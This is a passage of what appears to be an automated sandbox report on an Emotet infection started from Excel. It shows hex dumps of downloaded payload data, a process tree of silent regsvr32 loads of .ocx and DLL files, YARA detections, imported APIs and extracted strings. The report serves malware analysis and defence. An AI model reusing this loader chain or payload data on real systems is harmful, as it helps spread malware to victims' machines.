2022-05-23 09:38:28 UTC	192	IN	Data Raw: 78 69 01 b1 22 64 64 5f 1c f9 78 97 2f 4b 67 72 60 54 a1 1e 75 54 f1 c9 cd 46 b6 2e 42 10 09 68 f4 07 ad 27 67 52 db 00 aa 65 bc 79 18 55 25 e0 a5 92 c0 3b af 97 12 a1 fa 81 03 84 f0 82 6c d7 04 18 7d f0 12 42 70 2c de 0d 4d 68 3c 33 85 2b e3 04 0e 56 d3 1d 48 05 fd 17 11 49 e1 2a 7c 05 41 b6 39 e3 73 84 26 10 46 91 a3 c6 35 fd 09 40 5b 6c ee 6d 5e 14 a2 d8 40 e1 b9 e9 4d fb aa 83 58 c1 70 69 01 f7 22 64 14 24 b2 96 a7 d1 5f 4b 1a b3 50 d1 99 d1 15 48 05 ff 07 11 41 e1 2a 7c 0d f9 63 5c 59 ab 02 eb 3d b1 1b 41 07 8d 7d 46 64 ea 2b 41 11 a5 61 78 ca ea 5f 4c 30 dd a7 40 99 d5 0c 18 7d b8 32 42 70 6c dc bd 41 9b 18 a8 83 72 e3 cc 0e ee 5a 51 6c 71 fd d7 11 f1 6a 66 58 08 f9 bf f1 2e 47 6b 26 bd 22 7b 45 df 9d 90 64 64 ac 23 41 19 a6 a4 57 39 ac 6f 4c 3c 18 Data Ascii: xi"dd_x/Kgr`TuTF.Bh'gReyU%;l}Bp,Mh<3+VHI\|A9s&F5@[lm^@MXpi"d$_KPHA\|c\Y=A}Fd+Aax_L0@}2BplArZQlqjfX.Gk&"{Edd#AW9oL<
2022-05-23 09:38:28 UTC	208	IN	Data Raw: 66 4f a1 ad 78 69 58 97 6e 64 4f 40 de 2a de 93 13 7a 87 a7 26 3e f0 1f 6d 92 15 5e 66 bf 2f 6c 5f c9 f7 76 d4 28 38 c2 dd a4 8e 6d ee 30 2e fb 51 5a a3 dc 22 68 c7 0b 36 4d 5b 56 48 bd 00 36 8f 6b 8b 08 de 0c 6e d5 19 3e 1b ab 1d 4f 80 56 8d 09 ab 70 89 72 01 41 6a 0d 1d ba 3b ee 3d 95 e2 06 9d b8 d9 5f 65 f6 50 c3 75 e5 1e 98 c7 cf f7 b5 92 7c 7c c0 2b a9 4e b0 2e 7d 68 94 c3 b2 b0 03 71 2c 71 fa 79 ae 1d 43 2b 7e e8 68 c9 5f 75 81 e6 7e bc f7 36 26 7a c6 b0 d1 82 37 64 13 1e 14 43 a3 51 75 5d e4 7a 36 04 dc 88 a5 e6 10 22 ee 4f a1 f6 e0 6e 6b 89 0a 15 0b 22 d3 0d 13 05 b8 32 42 18 af 1a 72 e0 1c 74 63 e4 6c 60 c1 6e 42 1a da 29 26 ff 07 11 41 22 ed 5e 0d fb 23 5c 42 e8 06 75 70 fd 1a 9a 7b be 31 27 5a 69 67 ee 74 7d af 18 36 26 a0 21 40 c7 75 4f 4a b6 Data Ascii: fOxiXndO@*z&>m^f/l_v(8m0.QZ"h6M[VH6kn>OVprAj;=_ePu\|\|+N.}hq,qyC+~h_u~6&z7dCQu]z6"Onk"2Brtcl`nB)&A"^#\Bup{1'Zigt}6&!@uOJ
2022-05-23 09:38:28 UTC	224	IN	Data Raw: 41 e8 1d 9f 58 47 2a 68 c9 5f a9 39 61 5f 35 b1 06 d6 37 49 e5 58 c4 37 84 98 9d 9c bc e3 41 95 7a 7e b4 35 fb 20 a3 d2 b2 96 21 fb 51 92 d6 cf 5c e9 c1 2b f6 61 eb 1b 8f de 49 ce 89 e7 35 e3 ae ea a8 49 97 6e bc 79 aa 20 2a ed 17 82 9b d4 ce 66 7c e3 4e a7 b2 41 fb 32 ab eb 26 90 ae b9 76 5f e4 42 e6 c0 ab 4a e0 e6 10 f2 1d 83 72 b2 ac 6e b3 27 50 13 6b ab 33 93 39 cc 44 ad 6c 8e 5d bb b8 0c 83 53 aa 1a f1 3a 65 e7 45 9d 14 bb d9 e0 b8 35 b0 0f b1 5a c4 3f b0 0d 6f 32 45 e9 79 a1 a8 84 1c ff ed 8c 67 a1 2e ee f6 bb cd 57 b0 26 fc e9 75 99 8e 3d 4d 5f 8f 79 86 47 d0 1a 40 a5 12 b2 26 93 2a 83 ee 6f a3 d8 31 66 5a d0 19 fe 73 60 4e d9 e1 23 97 cc 36 43 20 e1 26 a0 eb 70 52 17 ee 72 fe b5 21 40 2b ec 20 f6 f3 60 71 01 e0 6e b3 89 0a 15 5b 65 e9 0d 7b 2b b8 Data Ascii: AXGh_9a_57IX7Az~5 !Q\+aI5Iny f\|NA2&v_BJrn'Pk39Dl]S:eE5Z?o2Eyg.W&u=M_yG@&*o1fZs`N#6C &pRr!@+ `qn[e{+
2022-05-23 09:38:28 UTC	240	IN	Data Raw: a0 ea f2 68 48 2a 8e 71 9b 93 ca fd 9d dc e6 60 66 58 82 f7 b7 78 6a 63 f0 24 96 76 9e c8 e7 35 3c 65 6f ea ea b5 21 7a 24 6f f3 f7 64 e9 b5 9e 31 6b 6a 25 96 a0 02 ba f3 b6 40 24 5f 38 e2 86 d9 6e 8b c3 d8 a6 d5 99 9d d4 b4 35 76 43 5b 95 1a 66 e0 7c f3 74 40 eb e6 9b 62 34 76 3c 68 c8 ca bd d0 bc 6b 67 65 fe f5 1d a7 b8 de f3 68 00 4e 67 34 30 ac 8f b9 9d 31 76 66 53 8f 04 79 e2 d5 80 2b 6f 2a 9f a9 01 ac e2 4e e9 de 27 92 dc 72 a0 a7 b1 43 fb ea a8 6a 63 43 e3 b9 a6 5f 65 37 f3 1a 40 11 e0 ea b5 21 7a 24 a2 d8 aa c1 6c b8 87 73 7d d8 d7 dd ec 4d 31 76 e7 f5 f4 5f 79 69 f7 44 74 6d ed ed a0 2a 66 5a f4 01 65 76 c8 b8 99 6a 66 58 b2 93 df 37 86 a7 0d a3 de 73 d6 f0 df 35 3c 65 e5 de 8f 65 21 7a 63 02 31 6b ec ed e0 4e 31 6b c2 d0 b9 3c c6 bc 96 66 40 24 Data Ascii: hHq`fXxjc$v5<eo!z$od1kj%@$_8n5vC[f\|t@b4v<hkgehNg401vfSy+oN'rCjcC_e7@!z$ls}M1v_yiDtm*fZevjfX7s5<ee!zc1kN1k<f@$
2022-05-23 09:38:28 UTC	256	IN	Data Raw: 3d 32 65 f4 b7 76 be 33 5b 74 c9 ab a6 98 85 fb 22 88 ad 26 5b c2 b2 73 5f e4 42 2d ac 1e b4 61 e6 20 39 1f af 55 39 ea 5e 70 9e 61 4d 6d e1 1b 50 b5 08 dd b1 23 58 f6 6e bf 69 d3 1d 33 2e a1 a8 bf cb a7 b0 57 e5 60 6e c2 78 69 c2 09 0b aa f3 22 60 33 64 bc 9d b5 03 47 3d 0a de 83 ee 21 73 ee 20 c9 bd 61 7d 20 da fe 68 c1 23 19 6e ab 3b 60 2c cc 44 5e 65 40 ac f2 be 2c 40 10 a1 0f 2a a9 2d 32 6f 31 14 74 4c ff 06 2d fa 27 7e e0 08 e3 a8 c2 9d 82 68 a8 75 fd 9f b4 de 36 f6 a4 8d 6e ee 28 39 fb 51 4d 0c 00 e6 69 c7 0b 11 8a 75 6c 48 bd 00 11 06 cf e5 41 de 3c 49 62 02 2b 6f ab 1d 68 6f bd 3e 16 ab 70 92 c9 3e 33 6a e7 15 a1 39 18 1a b5 a2 2e 86 39 f7 2a 81 3d 20 3f 65 a3 2e 87 73 11 7b 24 de 74 8b dc 89 c1 a4 37 e2 3f be c9 49 ad 58 a2 06 6d a5 2a 99 1f 01 Data Ascii: =2ev3[t"&[s_B-a 9U9^paMmP#Xni3.W`nxi"`3dG=!s a} h#n;`,D^e@,@-2o1tL-'~hu6n(9QMiulHA<Ib+oho>p>3j9.9= ?e.s{$t7?IXm*
2022-05-23 09:38:28 UTC	272	IN	Data Raw: d5 48 fd 76 43 35 fa ee 42 b8 45 72 67 90 26 bb 43 62 7c ff 5a 84 77 34 3c 2d e7 0f 43 2d 21 32 a7 31 1d 2b 2b 5b d2 06 b8 07 4e 66 00 b5 31 15 46 22 cd 6e 5c 3d e4 1a 60 62 e4 e4 e1 3c 0e 4e 12 d8 30 11 56 bc e5 3d e7 fa 7c e5 72 67 78 23 e8 18 42 7d fd 34 55 7e be df 24 3a 34 39 a6 ed b6 e8 dc 75 4f 23 3d 53 18 66 2a 3c 16 c5 50 69 f8 3e e7 ac e4 5f 79 69 9f 15 44 9a 82 6d 48 ed 23 29 05 9f 32 76 06 06 87 22 ed 2d 2a cd 46 85 64 63 c2 9d 50 50 5e 65 38 b1 d5 65 64 6b e6 9a aa e3 25 55 36 ef 1f 6b 00 4e b0 94 da 98 4d 3c 42 b5 df 66 40 24 de 86 9e 5d 5b 2b 1b 39 e9 b7 0b 9b 54 51 63 b0 75 40 35 71 d5 d6 9e 40 72 8c b9 ad 26 34 ed d4 c3 5f 2d be 41 18 45 e5 2e 10 07 b4 85 db d4 7c 1c 7f 78 00 4e b0 1e 1d 36 b1 8e 4d f6 33 09 21 12 7f 79 02 1d 3f 77 e6 6f Data Ascii: HvC5BErg&Cb\|Zw4<-C-!21++[Nf1F"n\=`b<N0V=\|rgx#B}4U~$:49uO#=Sf<Pi>_yiDmH#)2v"-FdcPP^e8edk%U6kNM<Bf@$][+9TQcu@5q@r&4_-AE.\|xN6M3!y?wo
2022-05-23 09:38:28 UTC	288	IN	Data Raw: 37 11 11 8e bf 85 4f f9 23 5c 0a 27 c8 e7 24 77 5f 65 bc b8 24 64 64 6b ee 21 05 5a cc d8 f7 6b 2b af 85 5e 30 6b 6a c1 5f 14 4d b0 fb 76 41 24 5f cd ae 27 fb 63 0c e2 24 c3 ed e7 df 41 6d 35 76 1d 42 71 6a 2e 5b b4 b3 ca 68 6b 63 43 65 b5 c3 4f 64 37 35 9f 1e 35 6a a0 e0 39 7b 24 55 75 57 e9 68 81 c3 29 6a 6a 5e 2c 72 a4 4e b7 cb 58 25 5f 79 6c d9 e5 33 6e 2a 68 35 89 99 59 da f9 2d 77 43 35 fa e7 76 59 45 72 8f a3 a8 63 43 2a bf eb 57 64 37 35 7d 4e 90 27 ee 46 a8 09 2c bc 10 66 2b 68 c7 cb 21 6a 6a 5e e2 23 6f 31 ce cd ea 8e f5 f2 e4 48 51 2b 6f dd 89 89 c0 64 d3 c4 7c 34 76 43 b6 f4 7a 67 58 45 81 0c fd 7a 62 43 62 1a ff da 75 36 35 3c e4 d1 7b 66 65 21 82 fe 50 38 2f a0 dd 10 4f 31 6b ad 1a 6c 50 df 15 00 66 c1 60 7b 15 66 70 50 2b 2e a1 a6 c9 5e 42 Data Ascii: 7O#\'$w_e$ddk!Zk+^0kj_MvA$_'c$Am5vBqj.[hkcCeOd755j9{$UuWh)jj^,rNX%_yl3nh5Y-wC5vYErcCWd75}N'F,f+h!jj^#o1HQ+od\|4vCzgXEzbCbu65<{fe!P8/O1klPf`{fpP+.^B
2022-05-23 09:38:28 UTC	304	IN	Data Raw: ef d9 c5 73 67 78 22 ee 46 db 21 88 a0 2d be b4 74 64 64 6b 2f e8 24 1d d0 aa c6 23 a2 29 68 06 bc 6e aa 93 b7 c3 05 b8 f7 ae 41 24 5f 31 e4 5d 1a 2a 91 d5 20 c1 ab be 5a 51 6c 7d fb 46 75 f5 94 99 10 cc f3 9f 78 6a 63 0b ef 31 20 0e 9a c8 7d b5 e4 64 69 67 65 69 f7 21 29 57 6b 2b 20 89 cf 99 6a 6a 5e 00 b1 48 ff 25 66 40 6c d6 f8 29 59 50 2b 27 a7 6d 9c 11 98 a5 19 e5 74 4e 0b b8 74 eb 5e a6 ba 3a ee f9 8a 62 43 62 7c fb 5a ba 7e cb c3 2d ed ea 77 67 21 7a 6c d8 3c 46 fd 96 ff 06 b8 ea fa 5e 48 3c 05 bc 73 71 52 da a0 31 e0 d9 a8 2a 6f 2a 20 c5 2f 1b 2a 51 6c 7d ff c2 3d 73 6a 66 10 c8 77 68 b6 95 9c 0b eb b5 4e 5e 65 37 7d b1 60 55 ea 99 9a 69 f3 a5 8d 38 6b 2b 20 8d 4b fe 40 94 a1 00 b5 cc 99 76 66 40 6c d2 7c 2c 3b af d4 27 a3 e9 18 2b 66 5a 19 e1 30 Data Ascii: sgx"F!-tddk/$#)hnA$_1]* ZQl}Fuxjc1 }digei!)Wk+ jj^H%f@l)YP+'mtNt^:bCb\|Z~-wg!zl<F^H<sqR1o /*Ql}=sjfwhN^e7}`Ui8k+ K@vf@l\|,;'+fZ0
2022-05-23 09:38:28 UTC	320	IN	Data Raw: 2e f1 19 cb 06 eb 67 d6 16 ec 4c ad 74 ee 8d 83 e1 c8 de 85 9e e2 df 6b e8 af 44 6a 51 2c 09 54 48 7d c6 eb b1 22 64 40 76 04 62 58 b8 9e 9b d7 97 05 a1 a9 16 da ab be a5 0b be bf 22 ef f4 61 ca 67 78 6a 2f ca d6 10 c6 5f 65 37 79 b1 39 40 1b 2e ee 7a 5a 6d de 52 43 62 e3 73 7e 78 e0 89 1f 17 7d 13 6e 3e 99 a0 e8 93 f0 3d 7c 40 a2 23 0e 60 1d 62 ed b6 19 ef d9 16 84 70 69 76 fb 59 45 b5 22 60 2e 54 63 62 bf 33 47 e8 3b 75 3f ac ed 26 7f e4 54 62 c3 70 d1 6d a0 2d 18 c7 74 87 ad 1b 50 59 44 8a 76 ed 0d 3c e7 fe 08 40 d6 dc 8e 01 a2 99 c3 65 90 90 85 33 ff 0e 2d f0 1f 7e 2e 0a 5a 5e f3 2f 7b ca 27 c4 b1 1a 7d ca 9a 8d 65 0f 2e 7f 1f a8 3f 3c d4 4c 73 ec c9 9c 1a ba 2e 72 d7 0d d4 8a 74 56 f2 cf 39 5f c1 b2 32 a0 37 ee 67 48 a1 f3 c1 ca d0 19 15 88 9c 8a e1 Data Ascii: .gLtkDjQ,TH}"d@vbX"agxj/_e7y9@.zZmRCbs~x}n>=\|@#`bpivYE"`.Tcb3G;u?&Tbpm-tPYDv<@e3-~.Z^/{'}e.?<Ls.rtV9_27gH
2022-05-23 09:38:28 UTC	336	IN	Data Raw: 42 62 09 66 5e 67 37 41 36 8c 6f 97 98 9a 9a 7b 24 55 39 e0 e8 20 83 8a 79 30 37 9d 84 f0 c4 7d 52 6e 15 6c d4 95 21 db bc 5b a8 6f 78 20 7e 6b 5a 96 29 25 28 0b 93 71 e1 2b 48 fd 83 97 88 9a 94 a2 a3 de 73 d6 30 27 b4 49 75 fb c0 0b 6b aa 3f 34 dc 7c 83 ec 2d 10 c7 e9 21 6a df 0d 2c d7 3b 76 66 c1 51 4f c0 93 55 70 a0 2a 3a e1 0d f2 a1 1f 41 a5 2a fb 43 be 3c 7a de 61 cb 91 5f 8f 8b b2 a9 eb 61 66 de 10 27 f6 cd 1b e0 ea 2a 75 40 90 ad 8d b8 1e 3b 43 f2 df c9 e0 2f 4e c1 79 91 f6 33 76 ec c7 a1 79 a8 3d 40 27 ee 5f 78 92 f8 22 c6 da 29 25 ff 06 d1 b6 2f 76 96 29 ab 67 f9 2f 73 1b 80 cb 89 de 20 27 2f a0 9a 9b aa 0a 75 2f fb 51 45 97 31 02 14 8b 0b 21 e2 2f be 8f 79 5d 79 89 76 40 a5 12 69 59 58 d9 3c ee 5f 78 aa cc c6 3f da 29 25 ff 06 d9 b6 2f 76 f6 8d Data Ascii: Bbf^g7A6o{$U9 y07}Rnl![ox ~kZ)%(q+Hs0'Iuk?4\|-!j,;vfQOUp:AC<za_af'*u@;C/Ny3vy=@'_x")%/v)g/s '/u/QE1!/y]yv@iYX<_x?)%/v
2022-05-23 09:38:28 UTC	352	IN	Data Raw: 5f 65 8f f6 3e 65 cc b2 67 65 a6 a0 24 55 e9 a8 29 68 88 94 31 6b 23 85 48 3c 7d f2 74 66 0c ff 5f 79 98 86 50 2b 8b e9 6a 48 de b8 5a 51 43 d4 76 43 75 b2 68 66 68 a4 72 67 a9 8f 63 43 92 f7 74 5f b1 d2 35 3c 5a 83 6b 67 11 e0 78 24 15 de 6b 2b 89 e7 4e 31 63 ae 5c 48 d8 aa 31 76 83 a8 24 5f 5d a9 5a 50 c3 87 2a 68 d2 c3 66 5a 69 ae 37 76 df dc 71 6a 41 aa 45 72 73 bc 68 63 6b 90 34 76 77 96 37 35 20 a7 66 6b 4f 96 21 7a 11 a0 39 6b 0f ac 02 4e 65 9e 6a 5e ad c2 4d 31 36 a2 42 24 b7 87 69 58 ed d4 6f 2a 3c 8c 28 66 9a ae 6c 35 5d 5e 34 71 0a a2 5a 45 5e 7a 79 6a 91 5e 63 34 02 9b 67 37 c1 21 64 64 9e 79 64 21 fa e0 57 39 93 35 69 00 0a 11 6a 6a ce 8c 3e 4d 75 56 67 40 4c 7e 78 69 f8 90 29 6f 42 49 49 2a 11 79 50 6c 91 b2 41 35 09 49 67 58 b1 56 66 78 d2 Data Ascii: _e>ege$U)h1k#H<}tf_yP+jHZQCvCuhfhrgcCt_5<Zkgx$k+N1c\H1v$_]ZPhfZi7vqjAErshck4vw75 fkO!z9kNej^M16B$iXo<(fl5]^4qZE^zyj^c4g7!ddyd!W95ijj>MuVg@L~xi)oBII*yPlA5IgXVfx

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXEPID: 1396, Parent PID: 576

General

Target ID:	0
Start time:	11:39:11
Start date:	23/05/2022
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13f360000
File size:	28253536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 204, Parent PID: 1396

General

Target ID:	3
Start time:	11:39:20
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx
Imagebase:	0xff420000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000003.00000002.913587412.00000000001E0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 1440, Parent PID: 204

General

Target ID:	4
Start time:	11:39:22
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\regsvr32.exe "C:\Windows\system32\JQSPcFGJSVOMPtFX\ZXsHFctgkSbxp.dll"
Imagebase:	0xff420000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.1330732797.00000000004D0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.1331020678.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 2176, Parent PID: 1396

General

Target ID:	5
Start time:	11:39:23
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx
Imagebase:	0xff420000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000005.00000002.1246167639.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000005.00000002.1245776901.00000000001D0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000005.00000002.1246196239.000007FEF74E1000.00000020.00000001.01000000.0000000A.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 1252, Parent PID: 404

General

Target ID:	6
Start time:	11:39:55
Start date:	23/05/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0xff7d0000
File size:	27136 bytes
MD5 hash:	C78655BC80301D76ED4FEF1C1EA40A7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 1312, Parent PID: 1396

General

Target ID:	8
Start time:	11:40:16
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx
Imagebase:	0xff420000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 2960, Parent PID: 1396

General

Target ID:	9
Start time:	11:40:20
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx
Imagebase:	0xff420000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000009.00000002.1045326687.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000009.00000002.1043672684.00000000002D0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 1664, Parent PID: 2960

General

Target ID:	10
Start time:	11:40:22
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\regsvr32.exe "C:\Windows\system32\VrLOhrB\szFRUu.dll"
Imagebase:	0xff420000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000A.00000002.1330526390.00000000001C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000A.00000002.1331036064.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 2976, Parent PID: 2176

General

Target ID:	13
Start time:	11:41:57
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\regsvr32.exe "C:\Windows\system32\FUVVPG\TGCY.dll"
Imagebase:	0xff420000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000D.00000002.1331411753.000007FEF74E1000.00000020.00000001.01000000.0000000A.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: regsvr32.exePID: 204, Parent PID: 1396COMMON

Execution Graph

Execution Coverage:	6.7%
Dynamic/Decrypted Code Coverage:	2.5%
Signature Coverage:	10%
Total number of Nodes:	1905
Total number of Limit Nodes:	30

Executed Functions

Function 000007FEF9D212B0 Relevance: 210.9, APIs: 6, Strings: 114, Instructions: 872
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoLoadLibrary.OLE32 ref: 000007FEF9D22F02
MessageBoxA.USER32 ref: 000007FEF9D22F1C
ExitProcess.KERNEL32 ref: 000007FEF9D22F27
VirtualAlloc.KERNELBASE ref: 000007FEF9D22F57
RtlAllocateHeap.NTDLL ref: 000007FEF9D22F65
CoTaskMemFree.OLE32 ref: 000007FEF9D22F86

Strings

2s<S, xrefs: 000007FEF9D2236E
5vCx, xrefs: 000007FEF9D22B98
w&ed, xrefs: 000007FEF9D22288
8<-, xrefs: 000007FEF9D21BEE
hx", xrefs: 000007FEF9D21B30
,1., xrefs: 000007FEF9D2258A
i~e, xrefs: 000007FEF9D21FCC
%<, xrefs: 000007FEF9D22CE2
+ong, xrefs: 000007FEF9D22A3A
$:*:, xrefs: 000007FEF9D22C74
Ko*h, xrefs: 000007FEF9D22CC4
M z, xrefs: 000007FEF9D21438
%</, xrefs: 000007FEF9D224A4
$931, xrefs: 000007FEF9D21D56
ePO, xrefs: 000007FEF9D21A04
U9#(, xrefs: 000007FEF9D224EA
R;pB, xrefs: 000007FEF9D21BBC
^*C, xrefs: 000007FEF9D2209E
N3, xrefs: 000007FEF9D2245E
3ob, xrefs: 000007FEF9D215EA
=kf^, xrefs: 000007FEF9D21662
jfX, xrefs: 000007FEF9D21EF0
:!@, xrefs: 000007FEF9D2145B
"V2, xrefs: 000007FEF9D2280A
e7tc, xrefs: 000007FEF9D22C6A
+iT, xrefs: 000007FEF9D22012
HPZ, xrefs: 000007FEF9D22896
<v:, xrefs: 000007FEF9D21A4A
;qdf, xrefs: 000007FEF9D21A7C
M1vi, xrefs: 000007FEF9D226F2
*hH%, xrefs: 000007FEF9D2215C
kxfc, xrefs: 000007FEF9D218A6
0kj., xrefs: 000007FEF9D2144D
VO4, xrefs: 000007FEF9D21BD0
1\u, xrefs: 000007FEF9D22CBA
|e:, xrefs: 000007FEF9D22EDD
M13U, xrefs: 000007FEF9D217B6
} z$, xrefs: 000007FEF9D229F4
P+oo, xrefs: 000007FEF9D2233C
Eekg, xrefs: 000007FEF9D224D6
!@C+, xrefs: 000007FEF9D21824
%U9, xrefs: 000007FEF9D22A9E
<M}O, xrefs: 000007FEF9D21D6A
$}%z, xrefs: 000007FEF9D22C7E
tc`, xrefs: 000007FEF9D221C0
wk/, xrefs: 000007FEF9D21784
L ]1, xrefs: 000007FEF9D21842
Ya], xrefs: 000007FEF9D21590
0.3, xrefs: 000007FEF9D213AC
BxJr, xrefs: 000007FEF9D21B26
h78<, xrefs: 000007FEF9D21AA4
}WL, xrefs: 000007FEF9D21A22
#z$U, xrefs: 000007FEF9D221B6
rkE@, xrefs: 000007FEF9D21415
,$n, xrefs: 000007FEF9D21658
}'6, xrefs: 000007FEF9D21B76
Puvm, xrefs: 000007FEF9D22D0A
mCl4, xrefs: 000007FEF9D216C6
|X, xrefs: 000007FEF9D21AC2
>~, xrefs: 000007FEF9D21DA6
{fM$, xrefs: 000007FEF9D21B8A
QlyO, xrefs: 000007FEF9D21D9C
g@$, xrefs: 000007FEF9D22328
t(O, xrefs: 000007FEF9D218C4
:9m?, xrefs: 000007FEF9D22792
werfault.exe, xrefs: 000007FEF9D22E68
D)'U, xrefs: 000007FEF9D222A6
S}pn, xrefs: 000007FEF9D222BA
Pl5, xrefs: 000007FEF9D21E3C
(pd, xrefs: 000007FEF9D221CA
PX5, xrefs: 000007FEF9D2265C
%Uc, xrefs: 000007FEF9D22E18
pAT#, xrefs: 000007FEF9D21B4E
Cb47, xrefs: 000007FEF9D22D00
j+h, xrefs: 000007FEF9D228BE
-'C, xrefs: 000007FEF9D21AAE
U+on, xrefs: 000007FEF9D21E28
&\hR, xrefs: 000007FEF9D21EBE
c-_j, xrefs: 000007FEF9D221F2
wC54, xrefs: 000007FEF9D22AF8
9[+, xrefs: 000007FEF9D21FD6
*hH, xrefs: 000007FEF9D21386
cDj, xrefs: 000007FEF9D218E2
xA\#, xrefs: 000007FEF9D2163A
-{*, xrefs: 000007FEF9D2285A
EBg, xrefs: 000007FEF9D21F9A
V9s, xrefs: 000007FEF9D2260C
{$U|, xrefs: 000007FEF9D223A0
C/, xrefs: 000007FEF9D21E82
$huN, xrefs: 000007FEF9D22DE6
S[L, xrefs: 000007FEF9D2218E
<)@P, xrefs: 000007FEF9D215E0
MDj, xrefs: 000007FEF9D2281E
$D1v, xrefs: 000007FEF9D215CC
oE, xrefs: 000007FEF9D22418
"!k, xrefs: 000007FEF9D221FC
.#(, xrefs: 000007FEF9D21346
N1kj^H<M1vf@$_yiXP+o*hH*fZQl5vC5qjfXErgxjcCb4v_e75<edkge!z$U9k+h, xrefs: 000007FEF9D22FBB
aUJ', xrefs: 000007FEF9D217F2
mbPv, xrefs: 000007FEF9D21423
?CE`, xrefs: 000007FEF9D21BF8
%8#, xrefs: 000007FEF9D21D06
V#s, xrefs: 000007FEF9D21676
It, xrefs: 000007FEF9D21CC0
`AnM, xrefs: 000007FEF9D22E6F
@ , xrefs: 000007FEF9D229EA
5qj', xrefs: 000007FEF9D21F90
:'U@, xrefs: 000007FEF9D22490
`I, xrefs: 000007FEF9D22634
4bB, xrefs: 000007FEF9D22210
FLIn, xrefs: 000007FEF9D228FA
l|f, xrefs: 000007FEF9D22080
